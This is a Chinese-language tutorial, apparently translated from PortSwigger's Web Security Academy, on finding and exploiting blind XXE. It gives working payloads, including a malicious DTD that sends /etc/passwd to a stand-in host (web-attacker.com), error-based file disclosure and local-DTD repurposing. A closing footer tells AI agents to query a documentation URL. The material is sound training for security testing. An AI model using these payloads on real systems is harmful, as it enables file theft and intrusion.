# 发现并利用盲XXE漏洞

在这一节，我们将讲解什么是盲XXE注入，并描述发现和利用盲XXE漏洞的各种技术。

## 什么是盲XXE？

盲XXE漏洞是指应用程序容易受到XXE注入的攻击，但在其响应中不返回任何已定义的外部实体的值。这意味着无法直接检索服务器端文件，因此盲XXE通常比普通的XXE漏洞更难以利用。

有两种主要途径可以发现和利用盲XXE漏洞：

* 你可以触发带外网络交互，有时会在交互数据中泄露敏感数据。
* 你可以以某种方式触发XML解析错误，以便错误信息包含敏感数据。

## 使用带外技术检测盲XXE

通常可以使用与XXE SSRF攻击相同的技术来检测盲XXE，但要触发到你控制的系统的带外网络交互。例如，你可以定义一个外部实体，如下所示：

```xml
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>
```

然后，你就可以在XML的数据值中使用已定义的实体。

这种XXE攻击会导致服务器向指定URL发起后端HTTP请求。攻击者可以监视由此产生的DNS查询和HTTP请求，从而检测到XXE攻击是否成功。

> **LAB**
>
> [带外交互的盲XXE](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction)

有时，由于应用程序的某些输入验证或正在使用的XML解析器的某些加固，使用常规实体的XXE攻击会被阻止。在这种情况下，你也许可以改用XML参数实体。XML参数实体是一种特殊类型的XML实体，只能在DTD内部的其他位置引用。就目前而言，你只需要了解两件事情。首先，XML参数实体的声明包括实体名称前的百分号字符：

```xml
<!ENTITY % myparameterentity "my parameter entity value" >
```

其次，参数实体的引用使用百分号字符，而不是通常的和号（&）：

```xml
%myparameterentity;
```

这意味着你可以通过XML参数实体使用带外检测来测试盲XXE，如下所示：

```xml
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>
```

这个XXE有效载荷声明了一个名为`xxe`的XML参数实体，然后在DTD中使用该实体。这将导致向攻击者域发起DNS查询和HTTP请求，以验证攻击是否成功。

> **LAB**
>
> [通过XML参数实体进行带外交互的盲XXE](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction-using-parameter-entities)

## 利用盲XXE带外渗出数据

通过带外技术检测盲XXE漏洞固然很好，但它实际上并未展示如何能够利用这种漏洞。攻击者真正想要实现的是外泄敏感数据。这可以通过盲XXE漏洞实现，但需要攻击者在他们控制的系统上托管一个恶意的DTD，并在带内XXE有效载荷中调用外部DTD。

一个用于外泄`/etc/passwd`文件内容的恶意DTD示例如下所示：

```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
```

这个DTD执行以下步骤：

* 定义一个名为`file`的XML参数实体，其中包含`/etc/passwd`文件的内容。
* 定义一个名为`eval`的XML参数实体，其中包含另一个名为`exfiltrate`的XML参数实体的动态声明。`exfiltrate`实体将通过向攻击者的Web服务器发起HTTP请求进行评估，该请求在URL查询字符串中包含`file`实体的值。
* 使用`eval`实体，这导致`exfiltrate`实体的动态声明被执行。
* 使用`exfiltrate`实体，以便通过请求指定的URL来评估其值。

然后，攻击者必须在他们控制的系统上托管恶意DTD，通常是将其加载到他们自己的Web服务器上。例如，攻击者可能在以下URL上提供恶意DTD：

```
http://web-attacker.com/malicious.dtd
```

最后，攻击者必须向存在漏洞的应用程序提交以下XXE有效载荷：

```xml
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>
```

此XXE有效载荷声明了一个名为`xxe`的XML参数实体，随后在DTD中使用该实体。这将导致XML解析器从攻击者的服务器获取外部DTD并对其进行内联解释。然后，恶意DTD中定义的步骤将被执行，`/etc/passwd`文件将被传输到攻击者的服务器。

> **注意**
>
> 这种技术可能无法处理某些文件内容，包括`/etc/passwd`文件中包含的换行符。这是因为一些XML解析器会使用API获取外部实体定义中的URL，该API会验证URL中允许出现的字符。在这种情况下，可以使用FTP协议而非HTTP。有时，可能无法外泄包含换行符的数据，因此可以选择`/etc/hostname`文件作为目标。

> **LAB**
>
> [使用恶意外部DTD利用盲XXE外泄数据](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration)

## 利用盲XXE通过错误信息检索数据

利用盲XXE的另一种方法是触发一个XML解析错误，其中的错误信息包含你希望检索的敏感数据。如果应用程序在其响应中返回相关的错误信息，那么这种方法就会有效。

你可以使用以下恶意外部DTD触发一个包含`/etc/passwd`文件内容的XML解析错误信息：

```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```

此DTD执行以下步骤：

* 定义一个名为`file`的XML参数实体，其中包含`/etc/passwd`文件的内容。
* 定义一个名为`eval`的XML参数实体，其中包含另一个名为`error`的XML参数实体的动态声明。`error`实体将通过加载一个不存在的文件进行评估，该文件的名称包含`file`实体的值。
* 使用`eval`实体，这导致`error`实体的动态声明被执行。
* 使用`error`实体，以便在尝试加载不存在的文件时评估其值，从而产生一个包含不存在文件名的错误信息，该文件名就是`/etc/passwd`文件的内容。

调用恶意的外部DTD将会导致类似如下的错误信息：

```
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
```

> **LAB**
>
> [利用盲XXE通过错误信息检索数据](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-data-retrieval-via-error-messages)

## 通过重新利用本地DTD来利用盲XXE

前述技术对于外部DTD是可以正常工作的，但对于在`DOCTYPE`元素中完全指定的内部DTD通常是不起作用的。这是因为该技术涉及在另一个参数实体的定义中使用XML参数实体。根据XML规范，这在外部DTD中是允许的，但在内部DTD中不允许（有些解析器可能会允许，但大多都不会）。

那么，当带外交互被阻止时，盲XXE漏洞怎么办？你无法通过带外连接外泄数据，也无法从远程服务器加载外部DTD。

在这种情况下，由于XML语言规范中的一个漏洞，仍有可能触发包含敏感数据的错误信息。如果文档的DTD使用内部和外部DTD声明的混合，那么内部DTD可以重新定义外部DTD中声明的实体。当这种情况发生时，在另一个参数实体的定义中使用XML参数实体的限制就会被放宽。

这意味着，攻击者可以在内部DTD中使用基于错误的XXE技术，前提是他们使用的XML参数实体是重新定义外部DTD中声明的实体。当然，如果带外连接被阻止，那么就不能从远程位置加载外部DTD。相反，它需要的是应用服务器本地的外部DTD文件。本质上，这种攻击涉及到调用一个恰好存在于本地文件系统上的DTD文件，并将其重新用于以某种方式重新定义一个现有实体，从而触发一个包含敏感数据的解析错误。这种技术由Arseniy Sharoglazov首创，排在我们2018年十大Web黑客技术的第7位。

例如，假设服务器文件系统上的`/usr/local/app/schema.dtd`位置有一个DTD文件，并且这个DTD文件定义了一个名为`custom_entity`的实体。攻击者可以提交类似以下的一个混合DTD，从而触发一个包含`/etc/passwd`文件内容的XML解析错误信息：

```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
```

该DTD执行以下步骤：

* 定义一个名为`local_dtd`的XML参数实体，其中包含存在于服务器文件系统上的外部DTD文件的内容。
* 重新定义一个名为`custom_entity`的XML参数实体，该实体已在外部DTD文件中定义。这个实体被重新定义为包含已描述过的基于错误的XXE漏洞利用，用于触发包含`/etc/passwd`文件内容的错误信息。
* 使用`local_dtd`实体，以便解释外部DTD，包括重新定义的`custom_entity`实体的值。这样就会出现所需的错误信息。

### 定位一个现有DTD文件以重新利用

由于这种XXE攻击涉及到重新利用服务器文件系统上的现有DTD，因此关键需求是找到一个合适的文件。这其实很简单。因为应用程序会返回由XML解析器抛出的任何错误信息，只需从内部DTD中加载本地DTD文件，你就能够轻松地枚举出这些文件。

例如，使用GNOME桌面环境的Linux系统通常会在`/usr/share/yelp/dtd/docbookx.dtd`处有一个DTD文件。你可以通过提交以下XXE有效载荷来测试该文件是否存在，如果该文件丢失，将会引发一个错误：

```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
```

在测试了一系列常见的DTD文件，找到一个存在的文件之后，你就需要获取该文件的副本并进行检查，以找到一个可以重新定义的实体。由于许多包含DTD文件的常见系统都是开源的，通常可以通过互联网搜索快速获取文件的副本。

> **LAB**
>
> [通过重新利用本地DTD来利用XXE获取数据](https://portswigger.net/web-security/xxe/blind/lab-xxe-trigger-error-message-by-repurposing-local-dtd)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://web-sec.gitbook.io/wsa/server-side/xxe/blind.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
